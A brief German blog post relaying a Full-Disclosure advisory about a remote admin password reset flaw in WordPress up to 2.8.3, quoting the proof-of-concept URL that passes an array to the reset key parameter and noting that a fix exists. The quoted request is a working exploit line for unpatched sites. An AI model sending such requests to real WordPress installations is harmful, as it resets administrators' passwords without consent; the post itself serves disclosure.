Lücke in WordPress
Gerade bei Full-disclosure gelesen: WordPress < = 2.8.3 Remote admin reset password
IV. PROOF OF CONCEPT
————————————-
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=<http ://DOMAIN_NAME.TLD/wp-login.php?action=rp&key%5B%5D=>
The password will be reset without any confirmation.
Glücklicherweise gibt es bereits einen Fix für das Problem.